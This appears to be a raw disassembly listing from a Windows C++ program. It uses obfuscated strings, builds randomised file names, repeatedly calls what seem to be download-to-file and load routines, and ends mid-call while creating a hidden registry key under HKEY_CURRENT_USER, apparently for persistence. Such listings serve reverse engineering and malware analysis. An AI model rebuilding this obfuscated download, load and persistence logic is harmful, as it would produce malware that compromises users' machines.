mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp - 0x20]
lea rcx, [rbp + 0x1520]
lea rdx, [rbp + 0x1550]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1550]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1590]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x15e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x160f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x15b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x15de]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1570]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1520]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x154e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x163e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x163f]
mov rcx, rax
call method.main.lambda__27::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__11354577310365483315ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x163e]
lea rax, [rbp + 0x1610]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x1660]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x16ce]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x16cf]
mov rcx, rax
call method.main.lambda__26::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__11354577310365483315ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x16ce]
lea rax, [rbp + 0x16a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x16fe]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x16fe]
lea rdx, [rbp + 0xbf0]
lea rax, [rbp + 0x16d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1680]
lea rcx, [rbp + 0x16a0]
lea rdx, [rbp + 0x16d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1640]
lea rcx, [rbp + 0x1660]
lea rdx, [rbp + 0x1680]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
mov rax, rbp
lea rcx, [rbp + 0x1610]
lea rdx, [rbp + 0x1640]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1640]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1680]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x16d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x16fe]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x16a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x16ce]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1660]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1610]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x163e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, rbp
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x16ff]
mov rcx, rax
call method.main.lambda__28::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__9655468560887791987ull__char_.operator_char__
mov r8d, 0
mov rdx, rbx
mov rcx, rax
call sym.f_dpf_char__char_const__int_
test eax, eax
sete al
test al, al
je 0x231952681
mov rax, rbp
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.f_lf_char_const_
mov qword [rbp + 0x46c0], rax
lea rax, [rbp + 0x172e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x172f]
mov rcx, rax
call method.main.lambda__30::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__13801605813672411535ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x172e]
lea rax, [rbp + 0x1700]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x1750]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x17be]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x17bf]
mov rcx, rax
call method.main.lambda__29::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__13801605813672411535ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x17be]
lea rax, [rbp + 0x1790]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x17ee]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x17ee]
lea rdx, [rbp + 0xbf0]
lea rax, [rbp + 0x17c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1770]
lea rcx, [rbp + 0x1790]
lea rdx, [rbp + 0x17c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1730]
lea rcx, [rbp + 0x1750]
lea rdx, [rbp + 0x1770]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x20]
lea rcx, [rbp + 0x1700]
lea rdx, [rbp + 0x1730]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1730]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1770]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x17c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x17ee]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1790]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x17be]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1750]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1700]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x172e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x17ef]
mov rcx, rax
call method.main.lambda__31::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__9763155202933466489ull__char_.operator_char__
mov r8d, 0
mov rdx, rbx
mov rcx, rax
call sym.f_dpf_char__char_const__int_
test eax, eax
sete al
test al, al
je 0x231952889
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.f_lf_char_const_
mov qword [rbp + 0x46b8], rax
lea rax, [rbp + 0x181e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x181f]
mov rcx, rax
call method.main.lambda__33::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__15930894308521225665ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x181e]
lea rax, [rbp + 0x17f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x1840]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x18ae]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x18af]
mov rcx, rax
call method.main.lambda__32::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__15930894308521225665ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x18ae]
lea rax, [rbp + 0x1880]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x18de]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x18de]
lea rdx, [rbp + 0xbf0]
lea rax, [rbp + 0x18b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1860]
lea rcx, [rbp + 0x1880]
lea rdx, [rbp + 0x18b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1820]
lea rcx, [rbp + 0x1840]
lea rdx, [rbp + 0x1860]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x40]
lea rcx, [rbp + 0x17f0]
lea rdx, [rbp + 0x1820]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1820]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1860]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x18b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x18de]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1880]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x18ae]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1840]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x17f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x181e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x18df]
mov rcx, rax
call method.main.lambda__34::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_7ull__2379927165041349487ull__char_.operator_char__
mov r8d, 0
mov rdx, rbx
mov rcx, rax
call sym.f_dpf_char__char_const__int_
test eax, eax
sete al
test al, al
je 0x231952a91
lea rax, [rbp + 0x40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.f_lf_char_const_
mov qword [rbp + 0x46b0], rax
lea rax, [rbp + 0x190e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x190f]
mov rcx, rax
call method.main.lambda__36::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__9336508817608869239ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x190e]
lea rax, [rbp + 0x18e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x1930]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x199e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x199f]
mov rcx, rax
call method.main.lambda__35::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__9336508817608869239ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x199e]
lea rax, [rbp + 0x1970]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x19ce]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x19ce]
lea rdx, [rbp + 0xbf0]
lea rax, [rbp + 0x19a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1950]
lea rcx, [rbp + 0x1970]
lea rdx, [rbp + 0x19a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1910]
lea rcx, [rbp + 0x1930]
lea rdx, [rbp + 0x1950]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x60]
lea rcx, [rbp + 0x18e0]
lea rdx, [rbp + 0x1910]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1910]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1950]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x19a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x19ce]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1970]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x199e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1930]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x18e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x190e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x19cf]
mov rcx, rax
call method.main.lambda__37::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__12910427941739762949ull__char_.operator_char__
mov r8d, 0
mov rdx, rbx
mov rcx, rax
call sym.f_dpf_char__char_const__int_
test eax, eax
sete al
test al, al
je 0x231952c99
lea rax, [rbp + 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.f_lf_char_const_
mov qword [rbp + 0x46a8], rax
lea rax, [rbp + 0x19fe]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x19ff]
mov rcx, rax
call method.main.lambda__39::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__9360660828634578745ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x19fe]
lea rax, [rbp + 0x19d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x1a20]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x1a8e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x1a8f]
mov rcx, rax
call method.main.lambda__38::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__9360660828634578745ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1a8e]
lea rax, [rbp + 0x1a60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1abe]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x1abe]
lea rdx, [rbp + 0xbf0]
lea rax, [rbp + 0x1a90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1a40]
lea rcx, [rbp + 0x1a60]
lea rdx, [rbp + 0x1a90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1a00]
lea rcx, [rbp + 0x1a20]
lea rdx, [rbp + 0x1a40]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x80]
lea rcx, [rbp + 0x19d0]
lea rdx, [rbp + 0x1a00]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1a00]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1abe]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1a60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a8e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1a20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x19d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x19fe]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x80]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x1abf]
mov rcx, rax
call method.main.lambda__40::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__4148678912376406465ull__char_.operator_char__
mov r8d, 0
mov rdx, rbx
mov rcx, rax
call sym.f_dpf_char__char_const__int_
test eax, eax
sete al
test al, al
je 0x231952eaa
lea rax, [rbp + 0x80]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.f_lf_char_const_
mov qword [rbp + 0x46a0], rax
mov edx, 0
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x1aee]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x1aef]
mov rcx, rax
call method.main.lambda__41::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_1ull__12194911437932322647ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x1aee]
lea rax, [rbp + 0x1ac0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x790]
lea rdx, [rbp + 0x1ac0]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1ac0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1aee]
mov rcx, rax
call sym.std::allocator_char_::allocator__
movzx eax, word [rbp + 0x79e]
movzx edx, ax
lea rax, [rbp + 0x1af0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
movzx eax, word [rbp + 0x79c]
movzx edx, ax
lea rax, [rbp + 0x1b30]
mov rcx, rax
call method.std::__cxx11.to_string_int_
movzx eax, word [rbp + 0x79a]
movzx edx, ax
lea rax, [rbp + 0x1b70]
mov rcx, rax
call method.std::__cxx11.to_string_int_
movzx eax, word [rbp + 0x798]
movzx edx, ax
lea rax, [rbp + 0x1bb0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
movzx eax, word [rbp + 0x796]
movzx edx, ax
lea rax, [rbp + 0x1bf0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
movzx eax, word [rbp + 0x792]
movzx edx, ax
lea rax, [rbp + 0x1c30]
mov rcx, rax
call method.std::__cxx11.to_string_int_
movzx eax, word [rbp + 0x790]
movzx edx, ax
lea rax, [rbp + 0x1c50]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x1c10]
lea rcx, [rbp + 0x1c30]
lea rdx, [rbp + 0x1c50]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1bd0]
lea rcx, [rbp + 0x1bf0]
lea rdx, [rbp + 0x1c10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1b90]
lea rcx, [rbp + 0x1bb0]
lea rdx, [rbp + 0x1bd0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1b50]
lea rcx, [rbp + 0x1b70]
lea rdx, [rbp + 0x1b90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1b10]
lea rcx, [rbp + 0x1b30]
lea rdx, [rbp + 0x1b50]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0xa0]
lea rcx, [rbp + 0x1af0]
lea rdx, [rbp + 0x1b10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x1b10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1b50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1b90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1bd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1c10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1c50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1c30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1bf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1bb0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1b70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1b30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1af0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1c7b]
mov rcx, rax
call method.main.lambda__42::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_66ull__6905544029035380605ull__char_.operator_char__
lea rdx, [rbp + 0x7a8]
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call rax
test eax, eax
sete al
test al, al
je 0x2319531ee
lea rax, [rbp + 0xa0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x1c7c]
mov rcx, rax
call method.main.lambda__43::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_14ull__11062970849349046601ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x7a8]
mov dword [rsp + 0x28], 0x14
